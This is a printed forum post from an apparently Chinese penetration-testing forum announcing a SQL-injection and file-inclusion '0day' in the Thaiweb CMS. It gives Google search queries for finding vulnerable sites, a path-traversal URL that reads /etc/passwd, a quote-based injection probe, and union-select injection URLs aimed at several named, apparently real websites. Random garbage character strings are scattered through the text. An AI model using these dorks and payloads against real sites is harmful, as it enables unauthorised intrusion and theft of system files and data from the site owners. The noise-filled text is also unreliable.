中国网络渗透测试联盟

标题: Thaiweb远程文件sql注入漏洞0day [打印本页]
作者: admin    时间: 2012-12-27 08:38
标题: Thaiweb远程文件sql注入漏洞0day
Google之:2 F; |5 m6 a2 H1 m% b: O

8 X, x; w7 D8 g/ x1 R/ J4 g: ~8 nintext:powered by Thaiweb3 h/ h- k8 u7 A4 W6 |4 h8 H% d5 p, u
5 W/ i/ c9 s: Z/ `: G
inurl:index.php?page=board.php
; ]4 U  u+ e# O* V( a) g  I+ d2 u+ L# |; U5 Z
# _, L8 L9 r- b% m6 P. f
8 {5 a, }8 S4 l8 x8 M
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
4 {7 ~7 f' `! r6 n. ~( `$ ^* @: ?- ^0 z
' a8 C, Z& Y* w
0 ]: X8 V9 Y- G* _1 @
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
# }4 A4 y. V2 Y' F% k. [# J$ j) J0 _
' z* @* A$ v; A2 W( ~

% \+ d' Z6 E: Dhttp://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
0 R/ V7 q- p' W4 o; N1 [5 o. N
7 C) J8 W  k$ `$ J- h) nhttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--8 A8 X  N* h. w( K2 ]4 r* A
' A1 N' |4 G$ I8 n1 \) `& {! Z
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--2 V7 h7 j: v; p0 h% D1 ~




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2